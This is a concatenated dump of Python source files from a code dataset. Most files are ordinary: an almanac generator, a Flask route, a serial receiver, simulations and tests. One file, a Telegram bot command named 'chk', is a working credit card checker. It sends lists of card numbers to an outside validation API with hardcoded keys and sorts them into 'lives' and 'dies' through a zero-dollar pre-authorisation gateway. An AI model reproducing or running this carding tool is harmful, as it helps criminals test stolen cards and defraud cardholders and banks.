{:0.2f} seconds\".format(stop-start)\n print(msg2)\n makePDF(listarg, fn)\n tidy_up(fn)\n else:\n start = time.time()\n if entireMth:\n fn = toUnix(\"LDtable({})_{}\".format(papersize,syr + '-' + smth))\n msg = \"\\nCreating the lunar distance tables for {}\".format(first_day.strftime(\"%B %Y\"))\n daystoprocess = -1\n else:\n fn = toUnix(\"LDtable({})_{}\".format(papersize,symd))\n if daystoprocess > 1: # filename as 'from date'-'to date'\n lastdate = first_day + timedelta(days=daystoprocess-1)\n fn += lastdate.strftime(\"-%Y%m%d\")\n txt = \"from\" if daystoprocess > 1 else \"for\"\n msg = \"\\nCreating the lunar distance tables {} {}\".format(txt,symd)\n print(msg)\n deletePDF(f_prefix + fn)\n # ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(makeLDtables(first_day,daystoprocess,strat))\n outfile.close()\n # ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n stop = time.time()\n msg2 = \"execution time = {:0.2f} seconds\".format(stop-start)\n print(msg2)\n makePDF(listarg, fn)\n tidy_up(fn)\n\n elif s == '5': # Lunar Distance charts\n if entireMth:\n fn = toUnix(\"LDchart({})_{}\".format(papersize,syr + '-' + smth))\n else:\n fn = toUnix(\"LDchart({})_{}\".format(papersize,symd))\n if daystoprocess > 1: # filename as 'from date'-'to date'\n lastdate = first_day + timedelta(days=daystoprocess-1)\n fn += lastdate.strftime(\"-%Y%m%d\")\n deletePDF(f_prefix + fn)\n\n start = time.time()\n if entireYr: msg = \"\\nCreating the lunar distance charts for the year {}\".format(syr)\n elif entireMth: msg = \"\\nCreating the lunar distance charts for {}\".format(syr + '-' + smth)\n elif daystoprocess > 1: msg = \"\\nCreating the lunar distance charts from {}\".format(symd)\n else: msg = \"\\nCreating the lunar distance chart for {}\".format(symd)\n print(msg)\n # ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n makeLDcharts(first_day,strat,daystoprocess,outfile,ts,onlystars,quietmode)\n outfile.close()\n # ::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n stop = time.time()\n msg2 = \"\\nexecution time = {:0.2f} seconds\".format(stop-start)\n print(msg2)\n makePDF(listarg, fn)\n tidy_up(fn)\n\n elif s == '6': # Increments and Corrections tables\n msg = \"\\nCreating the Increments and Corrections tables\"\n print(msg)\n fn = toUnix(\"Inc({})\").format(papersize)\n deletePDF(f_prefix + fn)\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n outfile = open(f_prefix + fn + \".tex\", mode=\"w\", encoding=\"utf8\")\n outfile.write(makelatex())\n outfile.close()\n # :::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::\n if config.dockerized: os.chdir(os.getcwd() + f_postfix) # DOCKER ONLY\n makePDF(listarg, fn)\n tidy_up(fn)\n\n else:\n print(\"Error! Choose 1, 2, 3, 4, 5 or 6\")","repo_name":"aendie/SkyAlmanac-Py3","sub_path":"skyalmanac.py","file_name":"skyalmanac.py","file_ext":"py","file_size_in_byte":41210,"program_lang":"python","lang":"en","doc_type":"code","stars":15,"dataset":"github-code","pt":"67"} +{"seq_id":"33460300988","text":"import uuid\nfrom flask import Blueprint, render_template, redirect, url_for, flash, request\nfrom flask_login import current_user, login_user, logout_user\nfrom flask_mail import Message\nfrom ... import models, db, mail, photos\nfrom .form import UploadProductForm\n\napp = Blueprint(\"product\", __name__)\n\n\n@app.route(\"/product/new\", methods=[\"GET\", \"POST\"])\ndef upload_new_product():\n form = UploadProductForm()\n if form.validate_on_submit():\n name = form.name.data\n price = form.price.data\n description = form.description.data\n condition = form.condition.data\n id = uuid.uuid4()\n\n new_product = models.Product(id=id,\n name=name,\n price=price,\n description=description,\n condition=condition)\n new_user_product_relationship = models.ProductUserAssociation(user_id=current_user.id, product_id=id)\n db.session.add_all([new_product, new_user_product_relationship])\n db.session.commit()\n return render_template(\"upload.html\", form=form)\n\n\n@app.route(\"/product/<int:uuid>\", methods=[\"GET\"])\ndef get_product(uuid):\n product = models.Product.query.filter_by(id=uuid).first()\n return product\n","repo_name":"consaceves/csc210-project","sub_path":"app/api/product/service.py","file_name":"service.py","file_ext":"py","file_size_in_byte":1301,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"20965469021","text":"from .. import reporting\nreport = reporting.get_report(\"preprocessor.line\")\n\nfrom .common import PreprocessorError\n\nclass PreprocessorLine(str):\n \"\"\"\n Extends from 'str' to provide a custom string class that can track the input\n and output line numbers to allow us to relate parse errors back to original\n lines of source code.\n \"\"\"\n\n @property\n def source_file(self):\n \"\"\" Return the PreprocessorFile that contains this line \"\"\"\n return self.__source_file if hasattr(self, \"_PreprocessorLine__source_file\") else None\n\n @source_file.setter\n def source_file(self, value):\n \"\"\" Set the PreprocessorFile that contains this line, if not yet set \"\"\"\n if hasattr(self, \"_PreprocessorLine__source_file\"):\n raise PreprocessorError(report.error(\n \"A source file has already been set for this line\"\n ), path=self.__source_file.path)\n self.__source_file = value\n\n @property\n def input_line(self):\n \"\"\" Get the line number in the input file this line came from \"\"\"\n return self.__input_line if hasattr(self, \"_PreprocessorLine__input_line\") else -1\n\n @input_line.setter\n def input_line(self, value):\n \"\"\" Set the line number in the input file this line came from \"\"\"\n if hasattr(self, \"_PreprocessorLine__input_line\"):\n raise PreprocessorError(report.error(\n f\"A line number ({self.__input_line}) has already been set for this line\"\n ), path=self.__source_file.path)\n self.__input_line = value\n\n @property\n def output_line(self):\n \"\"\" Get the line number within the output file that this line appears at \"\"\"\n return self.__output_line if hasattr(self, \"_PreprocessorLine__output_line\") else -1\n\n @output_line.setter\n def output_line(self, value):\n \"\"\" Set the line number in the output file that this line appears at \"\"\"\n if hasattr(self, \"_PreprocessorLine__output_line\"):\n raise PreprocessorError(report.error(\n f\"A line number ({self.__output_line}) has already been set for this line\"\n ), path=self.__source_file.path)\n self.__output_line = value\n\n def strip(self):\n \"\"\" Override the normal strip method to return another PreprocessorLine object \"\"\"\n result = PreprocessorLine(super().strip())\n result.source_file = self.__source_file if hasattr(self, \"_PreprocessorLine__source_file\") else None\n result.input_line = self.__input_line if hasattr(self, \"_PreprocessorLine__input_line\") else -1\n result.output_line = self.__output_line if hasattr(self, \"_PreprocessorLine__output_line\") else -1\n return result\n","repo_name":"bluwireless/blade","sub_path":"blade/preprocessor/line.py","file_name":"line.py","file_ext":"py","file_size_in_byte":2713,"program_lang":"python","lang":"en","doc_type":"code","stars":10,"dataset":"github-code","pt":"67"} +{"seq_id":"44184236302","text":"import numpy as np\nimport matplotlib\nmatplotlib.use('Qt5Agg')\nimport matplotlib.pyplot as plt\nfrom matplotlib import animation\nimport numpy.random as rd\nL = [10,100,200]\np = 0.5\nj_0 = 10\nshow = 1\nn_steps = 20000\n\nX = [np.zeros(L[0]),np.zeros(L[1]),np.zeros(L[2])]\nP1,P2,P3 = 0,0,0\ndef Update(X,L,i):\n if i % j_0 == 0:\n X[0] += 1\n piles = np.copy(X)\n for a in range(len(X)):\n if a == 0:\n for b in range(int(piles[a])):\n if rd.random() <= p:\n X[a+1] += 1\n X[a] -= 1\n elif a == L-1:\n if piles[a] != 0:\n for b in range(int(piles[a])):\n if rd.random() <= p:\n X[a-1] += 1\n X[a] -= 1\n else:\n if piles[a] != 0:\n for b in range(int(piles[a])):\n rdm = rd.random()\n if rdm <= p:\n X[a+1] += 1\n X[a] -= 1\n if rdm > p and rdm <= 2*p:\n X[a-1] += 1\n X[a] -= 1\n\n return X\n\nfor i in range(n_steps):\n if i % (n_steps/10) == 0:\n print(\"%.1f percent done\" % (i*100 / n_steps))\n X[0],X[1],X[2] =Update(X[0],len(X[0]),i),Update(X[1],len(X[1]),i),Update(X[2],len(X[2]),i)\nfig = plt.figure()\nproteins = int(n_steps/j_0)\nax1 = fig.add_subplot(311)\nax1.plot(X[0],color=\"black\")\nax1.set_title(\"L= %d, proteins = %d\" % (len(X[0]),proteins))\nax2 = fig.add_subplot(312)\nax2.plot(X[1],color=\"black\")\nax2.set_title(\"L= %d, proteins = %d\" % (len(X[1]),proteins))\nax3 = fig.add_subplot(313)\nax3.plot(X[2],color=\"black\")\nax3.set_title(\"L= %d, proteins = %d\" % (len(X[2]),proteins))\nplt.tight_layout()\n\nplt.show()","repo_name":"isLinXu/CVProcessLib","sub_path":"temptest/lifegames.py","file_name":"lifegames.py","file_ext":"py","file_size_in_byte":1759,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"67"} +{"seq_id":"39257337139","text":"import random\nimport importlib\nimport numpy as np\n\nclass BaseAction:\n\n def __init__(self, config, df, vizgraph, storage, sample_json):\n self.config = config\n self.df = df\n self.vizgraph = vizgraph\n self.storage = storage\n self.sample_json = sample_json\n\n def get_next(self):\n pick = self.pick(self.config[\"nextAction\"][\"values\"], self.config[\"nextAction\"][\"pd\"])\n pick_split = pick.split(\".\")\n module = importlib.import_module(pick_split[0] + \".\" + pick_split[1])\n return getattr(module, pick_split[2])(self.config, self.df, self.vizgraph, self.storage, self.sample_json) \n\n def get_states(self):\n return []\n \n def pick(self, choices, pd=None):\n if pd is None:\n return random.choice(choices)\n \n total = sum(pd)\n r = random.uniform(0, total)\n upto = 0\n for i, c in enumerate(choices):\n if upto + pd[i] >= r:\n return c\n upto += pd[i]\n assert False, \"Shouldn't get here\"\n\n def pick_range(self, val_min, val_max):\n delta = val_max - val_min\n selectionrange = max(0, min(np.random.normal(loc=0.5, scale=0.25),1))\n selectionstart = random.uniform(0, 1 - selectionrange)\n return val_min + delta * selectionstart, (1 - selectionrange) * delta\n","repo_name":"IDEBench/IDEBench-public","sub_path":"workflowgen/baseaction.py","file_name":"baseaction.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":19,"dataset":"github-code","pt":"67"} +{"seq_id":"11252156019","text":"# -*- coding:utf-8 -*-\n\nimport threadpool\nimport time\nimport requests as curl\nimport os\nimport glob\nimport re\n\n\ndef download1(url):\n file_path = os.path.basename(url)\n if os.path.exists(file_path):\n return\n r = curl.get(url, stream=True)\n print(url, r.status_code)\n f1 = open(file_path, \"wb\")\n for chunk in r.iter_content(chunk_size=512):\n if chunk:\n f1.write(chunk)\n f1.close()\n\n\ndef download2(src):\n if src.startswith(\"http\"):\n return\n\n dir_path = os.path.dirname(src)\n if not os.path.exists(dir_path):\n ret = os.mkdir(dir_path)\n if not ret:\n print(\"dir %s is not create\" % src)\n\n file_url = \"http://218.28.125.161/chan/%s\" % (src,)\n file_path = src\n\n # if os.path.exists(file_path):\n # return\n print(file_url)\n r = curl.get(file_url, stream=True)\n if not r.status_code == 200:\n print(r.status_code)\n return\n f1 = open(file_path, \"wb\")\n for chunk in r.iter_content(chunk_size=512):\n if chunk:\n f1.write(chunk)\n f1.close()\n\n\nif __name__ == '__main__':\n # urls = [\"http://218.28.125.161/chan/%03d.html\" % i for i in range(1, 109)]\n\n # pool = threadpool.ThreadPool(2)\n # requests = threadpool.makeRequests(download1, urls)\n # [pool.putRequest(req) for req in requests]\n # pool.wait()\n\n pool = threadpool.ThreadPool(5)\n files = glob.glob(\"*.html\")\n for file_name in files:\n with open(file_name, 'r') as f:\n buf = f.read(1024 * 1024 * 1024)\n match = re.findall(\"src=\\\"([^\\\"]+)\", buf)\n if match:\n requests = threadpool.makeRequests(download2, match)\n [pool.putRequest(req) for req in requests]\n pool.wait()\n","repo_name":"zhoudaqing/stock_paper","sub_path":"download.py","file_name":"download.py","file_ext":"py","file_size_in_byte":1766,"program_lang":"python","lang":"en","doc_type":"code","stars":13,"dataset":"github-code","pt":"67"} +{"seq_id":"29282652980","text":"import os\nimport re\nimport copy\n\npath = os.path.dirname(__file__)\nif path:\n\tos.chdir(path)\n\ninput_file = open('./input.txt', 'r')\ninput_lines = [x.strip() for x in input_file.readlines()]\n\ninstructions = []\nfor line in input_lines:\n\tmatch = re.match(r'^(\\w+) ([+\\-])(\\d+)$', line)\n\tif match:\n\t\tinstructions += [[match.group(1), int(match.group(2) + match.group(3))]]\n\ndef run_boot_code(code): # returns acc value OR None if infinite loop\n\tacc = 0\n\tpc = 0 # program counter (cur instruction)\n\texecuted = set()\n\twhile True:\n\t\tif pc in executed:\n\t\t\treturn None\n\t\telif pc >= len(code):\n\t\t\treturn acc\n\t\texecuted.add(pc)\n\t\t(op, arg) = code[pc]\n\t\tif op == 'jmp':\n\t\t\tpc += arg\n\t\t\tcontinue\n\t\telif op == 'acc':\n\t\t\tacc += arg\n\t\tpc += 1\n\nfor ins_id in range(len(instructions)):\n\top = instructions[ins_id][0]\n\tif op == 'acc':\n\t\tcontinue\n\tnew = copy.deepcopy(instructions)\n\tnew_op = 'nop' if op == 'jmp' else 'jmp'\n\tnew[ins_id][0] = new_op\n\tresult = run_boot_code(new)\n\tif result is not None:\n\t\tprint(f'Fixed by switching instruction #{ins_id} from {op} to {new_op}!')\n\t\tprint('New accumulator value:', result)","repo_name":"RafDevX/advent-of-code","sub_path":"2020/day8/part2.py","file_name":"part2.py","file_ext":"py","file_size_in_byte":1096,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"39713160256","text":"import os, sys\nfrom optparse import OptionParser\nimport logging\n\nimport command\nimport ui.ncurses #, ui.gtkui\n\nif __name__ == '__main__':\n logging.basicConfig(\n level = logging.DEBUG,\n format=\"[%(levelname)-8s] %(asctime)s %(module)s:%(lineno)d %(message)s\",\n datefmt=\"%H:%M:%S\",\n filename = '/tmp/pygmail.log',\n filemode = 'w'\n )\n\n logging.debug('Start')\n\n usage = 'Usage: %prog COMMAND [ARGS]'\n parser = OptionParser(usage)\n parser.add_option('--ui', dest='ui', default='console', help='interface: curses, gtk or console (default)')\n\n (options, args) = parser.parse_args()\n\n if options.ui == 'curses':\n ui.ncurses.run()\n elif options.ui == 'gtk':\n ui.gtkui.run()\n else:\n if len(args) == 0:\n parser.error('missing command')\n\n cmd = args[0]\n\n if not cmd in command.list:\n parser.error('invalid command')\n else:\n nargs = int(command.list[cmd]['args'])\n\n if nargs != len(args) - 1:\n parser.error('wrong number of arguments (expected %i)' % nargs)\n else:\n command.list[cmd]['exec'](*args[1:])\n\n\n logging.debug('Stop')\n","repo_name":"franckv/pygmail","sub_path":"src/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1210,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"13193133521","text":"'''\n[Python]\n- Comunicación Serial\n- Receiver\n---------------------------\nAutor: Torres Molina Emmanuel O.\nVersion: 1.1\nDescripción:\nPequeño ejemplo de introducción a la \ncomunicación serial, utilizando el módulo\n\"pyserial\", en este caso el programa se \nencarga de recibir datos con una determinada\ntrama: '#x;y#'\n\nNOTA: Para enviar los datos se utilzó el\nsoftware \"RealTerm\".\n'''\n\n__author__ = \"Emmanuel Oscar Torres Molina\"\n__email__ = \"emmaotm@gmail.com\"\n__version__ = \"1.1\"\n\n\nimport serial\nimport serial.tools.list_ports\n\nbuff_rx = [] # Global variable that contains the data extracted by Tx Serial.\n\n\ndef list_ports():\n '''\n Función que muestra la cantidad\n de puertos disponibles.\n '''\n port_name = ''\n ports = serial.tools.list_ports.comports()\n print('Ports available: ', end='')\n for port in ports:\n port_name += ('\"' + port.device + '\"' + ', ') \n print(port_name[:-2])\n\n\n# Configure/Open Serial instance:\ndef init_serial():\n '''\n Función que Inicializa/Configura\n un puerto para la posterior comunicación\n serie.\n Retorna la instancia del objeto \"serial\".\n '''\n ser = serial.Serial() # Serial object instance.\n ser.port = 'COM4' # set the port name.\n ser.baudrate = 9600 # set baudrate.\n ser.parity = serial.PARITY_NONE # set the parity bit.\n ser.stopbits = serial.STOPBITS_ONE # set the number of stop bits.\n ser.bytesize = serial.EIGHTBITS # set bytesize.\n ser.timeout = 5 # set timeout.\n return ser\n\n\ndef push_rx(data_rx):\n '''\n Función que recibe una trama\n de datos y verifica que los\n mismos 'válidos' según\n trama, para luego almacenarlos en un\n buffer\n '''\n if data_rx[0] == '#' and data_rx[-1] == '#':\n pxy = data_rx[1:-1]\n if len(pxy.split(';')) == 2:\n x_s = pxy.split(';')[0]\n y_s = pxy.split(';')[1]\n if x_s.isdigit() and y_s.isdigit():\n print(x_s, y_s)\n buff_rx.append([int(x_s), int(y_s)])\n else:\n print('Frame not valid.')\n else:\n print('Frame not valid.')\n else:\n print('Frame not valid.')\n\n\ndef receiver():\n '''\n Función que verifica si el\n puerto en cuestión puede ser\n abierto, en caso afirmativo,\n crea un bucle infinito donde\n se recibe cada dato llegado\n por comunicación serial.\n Retorna el buff_rx con los datos\n importantes.\n '''\n ser = init_serial()\n print('Connected to port: \"{}\"'.format(ser.portstr))\n \n if not ser.is_open: # ser.is_open is False:\n try:\n ser.open() # Open port.\n print('The port \"{}\" has been opened.'.format(ser.portstr))\n #ser.timeout = None # 'None' if you want \"readline()\" to be blocking.\n\n while True:\n try:\n msgframe = ser.readline()\n msg_decode = msgframe.decode('utf-8').strip()\n if msg_decode != '':\n push_rx(msg_decode)\n else:\n print('Frame not received.')\n \n except KeyboardInterrupt:\n ser.close()\n print('The port has been closed.')\n return buff_rx\n\n except serial.serialutil.SerialException:\n print('Could not open port \"{}\".'.format(ser.portstr))\n\n\nif __name__ == '__main__':\n list_ports()\n receiver()\n print(buff_rx)\n\n","repo_name":"eotorresmolina/introduction_to_pyserial","sub_path":"receiver.py","file_name":"receiver.py","file_ext":"py","file_size_in_byte":3672,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"25674359686","text":"from telegram.ext import CallbackContext\nfrom telegram import InlineKeyboardButton, InlineKeyboardMarkup, Update\nimport requests, os, time\nfrom concurrent.futures import ThreadPoolExecutor\nfrom datetime import timedelta\nfrom bot.cogs.modules.adm_list import *\nfrom bot.cogs.modules.separator import *\n\n\ndef contador(start_time):\n try:\n start_time = float(start_time)\n elapsed_time_secs = time.time() - start_time\n\n msg = str(timedelta(seconds=round(elapsed_time_secs))).split(':')\n\n minuto = str(int(msg[1])+1)\n segundo = str(60-int(msg[2]))\n if int(segundo) == 60:\n segundo = '59'\n hora = int(msg[0])*60\n \n a = hora+20 - int(minuto)\n \n print(minuto)\n if int(minuto) >= 20:\n result = False\n else:\n result = True \n \n return str(a), segundo, result\n\n except Exception as e:\n return '0', '0', False\n\n\ndef time_diference(start_time):\n try:\n start_time = float(start_time)\n elapsed_time_secs = time.time() - start_time\n\n msg = str(timedelta(seconds=round(elapsed_time_secs))).split(':')\n\n minuto = msg[1]\n segundo = msg[2]\n \n return f'{minuto}:{segundo}'\n\n except Exception as e:\n print(e)\n return False, '00:00'\n\n\ndef checker(cc):\n contador = 0\n keys = [\n \"SAlPRDy74fs7zYuD9In0-cHJpdmtleQ\",\n \"3hcZQrgO-HJ5rxtgzdMu-cHJpdmtleQ\",\n \"k1Cp1iJ0bUo2uDKRpKOx-cHJpdmtleQ\",\n \"qaVNiOBL4Q6se0Ylg8XW-cHJpdmtleQ\",\n \"kLgyw-=2g=Vs-WXtJYod-cHJpdmtleQ\",\n \"aSVEzeLLFh9EuNpkRA1E-cHJpdmtleQ\",\n \"aSju5xPFMtLMfy6uGuFm-cHJpdmtleQ\"\n ]\n\n while True:\n time.sleep(10)\n if contador <= 10:\n try:\n key = random.choice(keys)\n r = requests.get(f'https://api2.validcc.pro/?key={key}&cc={cc}')\n r = r.json()\n print(r)\n if 'live' in str(r).replace(\"'\", \"\").lower():\n return True, f'✅ *-* Aprovado no CHK'\n elif 'limited' in str(r).replace(\"'\", \"\").lower():\n pass\n\n else:\n return False, f'❌ *-* Reprovado no CHK'\n\n except:\n pass\n\n contador += 1\n\n else:\n return 'Erro', f'⚠️ *-* {cc} - `Erro na comunicação com o checker`'\n \n\ndef checker_multiple(lista, idu):\n start_time = time.time()\n workers = 20\n if len(lista) < 20:\n workers = 20\n elif len(lista) < 30:\n workers = 30\n elif len(lista) < 40:\n workers = 40\n elif len(lista) < 50:\n workers = 50\n \n with ThreadPoolExecutor(max_workers=workers) as pool:\n results = list(pool.map(checker,lista))\n \n lista_lives = []\n lista_dies = []\n lista_erros = []\n \n for result in results:\n if result[0] == True:\n lista_lives.append(str(result[1]+' *-* #CHKCONTINENCIA').strip())\n elif result[0] == False:\n lista_dies.append(str(result[1]).strip())\n else:\n lista_erros.append(str(result[1]).strip())\n\n lista_a = '\\n'.join(lista_lives)\n lista_b = '\\n'.join(lista_dies)\n lista_c = '\\n'.join(lista_erros)\n \n if len(lista_lives) == 0:\n lista_a = 'Nada consta'\n \n if len(lista_dies) == 0:\n lista_b = 'Nada consta'\n \n if len(lista_erros) == 0:\n lista_c = 'Nada consta'\n \n tempo_execucao = time_diference(start_time)\n\n write = F'💳 | *CHK*:\\n\\n*CCs lives*: `{len(lista_lives)}`\\n*CCs dies*: `{len(lista_dies)}`\\n*CCs com erro ao checar*: `{len(lista_erros)}`\\n*Tempo de checagem*: `{tempo_execucao}`\\n*Gateway usada*: `Zerodolar (pré-auth)`\\n*CCs checadas*: `{len(lista)}`'\n listagem = f'\\n\\n*CCS LIVES*:\\n\\n{lista_a}\\n\\n*CCS RECUSADAS*: \\n\\n{lista_b}\\n\\n*CCS RECUSADAS POR ERROS*: \\n\\n{lista_c}'\n\n if len(lista) > 10:\n with open(f'temp/resultado-{idu}.txt', 'w', encoding=\"UTF-8\") as file:\n file.write(str(write+listagem).replace('*', '').replace('`', ''))\n \n return True, write\n\n else:\n return False, str(write+listagem)\n\n\ndef chk(update: Update, context: CallbackContext):\n query = update.message\n user_info = query.from_user\n user_id = str(user_info['id'])\n donos = adm_list()\n\n if user_id in donos:\n temp_file = ''\n \n try:\n content = update.message.text\n \n if content is None:\n try:\n temp_file = f\"temp/temp_file_db_check_{user_id}.txt\"\n with open(temp_file, 'wb') as f:\n context.bot.get_file(update.message.document).download(out=f)\n \n with open(temp_file, 'r') as f:\n content = f.read()\n\n except:\n content = ''\n\n ccs_r = separator(content)\n ccs = []\n for cc in ccs_r:\n if cc not in ccs:\n ccs.append(cc)\n \n workers = 20\n if len(ccs) < 20:\n workers = 20\n elif len(ccs) < 30:\n workers = 30\n elif len(ccs) < 40:\n workers = 40\n elif len(ccs) < 50:\n workers = 50\n \n if len(ccs) > 0:\n if len(ccs) == 1:\n message = update.message.reply_text(text='*Checando a CC...*\\nIsso pode levar alguns segundo!', parse_mode='Markdown')\n texto = checker(ccs[0])\n message.delete()\n update.message.reply_text(text=str(texto[1])+' - #CHKCONTINENCIA', parse_mode='Markdown')\n \n else:\n minutos_min = len(ccs)//workers\n if minutos_min == 0:\n minutos_min = 1\n minutos_max = minutos_min*2\n \n message = update.message.reply_text(text=f'💳 | *CHK*\\n\\nEstamos checando a sua lista de CCs, isso pode levar de {minutos_min} minuto(s) a {minutos_max} minutos', parse_mode='Markdown')\n \n texto = checker_multiple(ccs, user_id)\n message.delete()\n \n if texto[0] == False:\n update.message.reply_text(text=str(texto[1])+'\\n\\n#CHKCONTINENCIA', parse_mode='Markdown')\n\n else:\n query.bot.send_document(chat_id=user_id, document=open(f'temp/resultado-{user_id}.txt', 'rb'), caption=str(texto[1])+'\\n\\nUm arquivo de texto com os resultados foram anexados a essa mensagem!\\n\\n#CHKCONTINENCIA', parse_mode='Markdown')\n \n try:\n os.remove(f'temp/resultado-{user_id}.txt')\n os.remove(temp_file)\n except:\n pass\n\n else:\n texto = '💳 | *CHK*\\n\\nInsira no mínimo uma CC pra começar a checagem!'\n update.message.reply_text(text=texto, parse_mode='Markdown')\n\n except Exception as e:\n print('\\nErro no checker:', e, '\\nTipo de erro:', type(e).__name__, ', arquivo:', __file__, ', na linha:', e.__traceback__.tb_lineno)\n update.message.reply_text(text='❌ | *Erro*\\n\\nOcorreu um erro ao executar esse comando!', parse_mode='Markdown')\n\n else:\n update.message.reply_text(text='❌ | *Erro*\\n\\nVocê não tem permissão para executar esse comando! False com um administrador!', parse_mode='Markdown')\n\n\n\n","repo_name":"RussoBratva/Enviador","sub_path":"bot/cogs/chk.py","file_name":"chk.py","file_ext":"py","file_size_in_byte":7718,"program_lang":"python","lang":"pt","doc_type":"code","stars":1,"dataset":"github-code","pt":"67"} +{"seq_id":"18627425929","text":"\"\"\"\nCompute the correlation of conjuction clusters of FA and SA \n\n1. loop through cluster table \n2. get the cluster mask of fa and sa \n3. get the conjuction mask\n4. use the conjunction mask to get beta weights of FA and SA \n5. compute the correlation of beta weights of FA and SA\n\"\"\"\nimport numpy as np\nimport pandas as pd \nimport os \n\nfrom algo import *\nfrom nilearn import image\nimport scipy.stats as stats\nfrom sklearn.preprocessing import scale\n\nroot_path = '/data/home/attsig/attention_signature'\nnii_path = os.path.join(root_path, \n 'svc_analysis', \n 'nii_file', \n 'cluster_map_small_version')\ndf_path = os.path.join(root_path, \n 'svc_analysis', \n 'cluster_table_small_version')\n\n# load dataframe\ndf_data_fa = pd.read_csv(os.path.join(df_path,\n 'fa_integrated.csv'))\ndf_data_sa = pd.read_csv(os.path.join(df_path,\n 'sa_integrated.csv'))\n\n# NaN mask \nmask_NaN = np.load(os.path.join(root_path, 'train_test_data',\n 'mask_NaN.npy'))\n\n# load beta maps \nbeta_path = os.path.join(root_path, \n 'svc_analysis', \n 'prediction_results')\nbeta_fa = np.load(os.path.join(beta_path, \n 'fa',\n 'avg_beta.npy'))\nbeta_sa = np.load(os.path.join(beta_path,\n 'sa',\n 'avg_beta.npy'))\nbeta_fa, beta_sa = scale(beta_fa), scale(beta_sa)\n\ndef load_mask(series, data_type):\n cluster_idx = series['Unnamed: 0']\n num_voxel = series['number_of_voxels']\n\n nii_arr = image.get_data(os.path.join(nii_path, \n f'{data_type}_screened',\n f'{cluster_idx}_{num_voxel}_{data_type}.nii.gz')) \\\n .flatten() \n nii_arr = nii_arr[mask_NaN]\n\n return nii_arr\n\n# data holder in numpy format\ncorr_data = np.empty((df_data_sa.shape[0], 3))\nnames = np.array(df_data_sa['cluster_name'])\ncorr_data = np.concatenate((names.reshape(-1,1), corr_data), axis=1)\n\n# four columns:\n# 1. cluster name \n# 2. conjunction number of voxels\n# 3. correlation of FA and SA\n# 4. p-value of correlation of FA and SA\n# 5. Cohen's d\nfor index, series_sa in df_data_sa.iterrows(): \n #series_sa = df_data_sa.iloc[5]\n # find the reference row in fa \n series_fa = df_data_fa[df_data_fa['Unnamed: 0'] == series_sa['Unnamed: 0']] \\\n .iloc[0]\n\n # load the cluster mask of fa and sa\n fa_mask = ~np.isnan(load_mask(series_fa, 'fa'))\n sa_mask = ~np.isnan(load_mask(series_sa, 'sa'))\n\n # compute the conjunction boolean mask of FA and SA\n conj_mask = np.logical_and(fa_mask, sa_mask)\n num_conj = np.sum(conj_mask)\n corr_data[index, 1] = num_conj\n if np.sum(conj_mask) <=1:\n continue\n\n # mask the beta maps of FA and SA\n beta_fa_masked = beta_fa[conj_mask]\n beta_sa_masked = beta_sa[conj_mask]\n\n # compute correlation \n print(f\"computing {series_fa['cluster_name']}\")\n r, p = stats.pearsonr(beta_fa_masked, beta_sa_masked)\n #d = r * np.sqrt((num_conj-2) / (1-r**2))\n corr_data[index, 2] = r\n corr_data[index, 3] = np.round(p, 2)\n #corr_data[index, 4] = d\n\n# convert to dataframe\ndf_corr = pd.DataFrame(corr_data,\n columns=['cluster_name',\n 'num_voxel',\n 'r',\n 'p_value',\n #'Cohen\\'s d'\n ])\ndf_corr.to_csv(os.path.join(root_path,\n 'svc_analysis',\n 'corr_table',\n 'conjunction_corr.csv'))\n","repo_name":"Anmin-Yang/attsig","sub_path":"whole-brain-network_level/2.1_compute_cluster_correlation.py","file_name":"2.1_compute_cluster_correlation.py","file_ext":"py","file_size_in_byte":3880,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"21735411515","text":"import networkx as nx\nimport numpy as np\n\nfrom pyquil import Program\nfrom pyquil.api import QVM\nfrom pyquil.device import NxDevice, ISA, gates_in_isa\nfrom pyquil.gates import *\n\nfrom pyquil.api.quantum_computer import _get_flipped_protoquil_program, QuantumComputer\nfrom pyquil.noise import _decoherence_noise_model, NoiseModel\n\n\ndef test_get_flipped_program():\n program = Program([\n I(0),\n RX(2.3, 1),\n CNOT(0, 1),\n MEASURE(0, 0),\n MEASURE(1, 1),\n ])\n\n flipped_program = _get_flipped_protoquil_program(program)\n assert flipped_program.out().splitlines()[-6::] == [\n 'PRAGMA PRESERVE_BLOCK',\n 'RX(pi) 0',\n 'RX(pi) 1',\n 'PRAGMA END_PRESERVE_BLOCK',\n 'MEASURE 0 [0]',\n 'MEASURE 1 [1]',\n ]\n\n\ndef test_get_flipped_program_only_measure():\n program = Program([\n MEASURE(0, 0),\n MEASURE(1, 1),\n ])\n\n flipped_program = _get_flipped_protoquil_program(program)\n assert flipped_program.out().splitlines() == [\n 'PRAGMA PRESERVE_BLOCK',\n 'RX(pi) 0',\n 'RX(pi) 1',\n 'PRAGMA END_PRESERVE_BLOCK',\n 'MEASURE 0 [0]',\n 'MEASURE 1 [1]',\n ]\n\n\ndef test_device_stuff():\n topo = nx.from_edgelist([(0, 4), (0, 99)])\n qc = QuantumComputer(\n name='testy!',\n qam=None, # not necessary for this test\n device=NxDevice(topo),\n )\n assert nx.is_isomorphic(qc.qubit_topology(), topo)\n\n isa = qc.get_isa(twoq_type='CPHASE')\n assert 